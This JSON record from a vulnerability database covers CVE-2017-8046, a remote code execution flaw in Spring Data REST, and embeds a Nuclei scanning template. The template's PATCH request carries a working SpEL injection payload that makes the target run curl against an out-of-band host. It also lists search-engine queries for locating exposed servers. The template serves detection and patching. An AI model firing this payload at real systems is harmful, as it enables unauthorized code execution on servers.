{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-8046/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-8046/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-8046/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-8046/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-8046/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-8046"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-8046"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2017/CVE-2017-8046.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2017-8046\n\ninfo:\n  name: Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution\n  author: domwhewell-sage\n  severity: critical\n  description: |\n    Spring Data REST < 2.6.9 and 3.0.1, Spring Boot < 1.5.9 and 2.0 M6 contain a remote code execution caused by processing malicious PATCH requests with crafted JSON data, letting attackers execute arbitrary Java code, exploit requires sending malicious PATCH requests.\n  impact: |\n    Malicious PATCH requests submitted to servers using Spring Data REST versions prior to 2.6.9 (Ingalls SR9), versions prior to 3.0.1 (Kay SR1) and Spring Boot versions prior to 1.5.9, 2.0 M6 can use specially crafted JSON data to run arbitrary Java code.\n  remediation: |\n    To remediate this vulnerability, update to Spring Data REST version 2.6.9 or later, or 3.0.1 or later, and Spring Boot version 1.5.9 or later, or 2.0 M6 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-8046\n    - https://spring.io/security/cve-2017-8046\n    - https://access.redhat.com/errata/RHSA-2018:2405\n    - https://www.exploit-db.com/exploits/44289/\n    - https://github.com/jkutner/spring-break-cve-2017-8046\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2017-8046\n    cwe-id: CWE-20\n    epss-score: 0.7453\n    epss-percentile: 0.99475\n    cpe: cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: vmware\n    product: spring_boot\n    shodan-query: http.title:\"eureka\"\n    fofa-query: title=\"eureka\"\n    google-query: intitle:\"eureka\"\n  tags: cve,cve2017,pivotal,springboot,pivotal_software,vkev,vuln\nflow: |\n  http(1)\n  set(\"endpoint\", iterate(template.endpoint)[0])\n  http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    max-redirects: 3\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        internal: true\n        part: header\n        words:\n          - \"application/json\"\n          - \"application/hal+json\"\n          - \"application/vnd.spring-boot.actuator\"\n        condition: or\n\n      - type: word\n        internal: true\n        part: body\n        words:\n          - '\"_embedded\"'\n          - '\"_links\"'\n          - '\"page\"'\n          - '\"size\"'\n        condition: or\n\n    extractors:\n      - type: regex\n        name: endpoint\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"href\"\\s*:\\s*\"([^\"]+)\\{\\?page,size,sort\\}\"'\n\n  - method: PATCH\n    path:\n      - \"{{endpoint}}/1\"\n    headers:\n      Content-Type: application/json-patch+json\n    body: |\n      [\n        {\n          \"op\": \"replace\",\n          \"path\": \"T(java.lang.Runtime).getRuntime().exec(\\\"curl {{interactsh-url}}\\\").x\",\n          \"value\": \"CVE-2017-8046\"\n        }\n      ]\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n\n      - type: word\n        part: body\n        words:\n          - \"org.springframework\"\n# digest: 4a0a00473045022100e37306e3fb759afd8bccbb238132a26b9008fbdad6a2737f248dfd069f69b658022050a7ce0468c254281682c13980fdad8c924cd1c6eeab64b6fc34ef8ac9198b25:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2017-8046"
}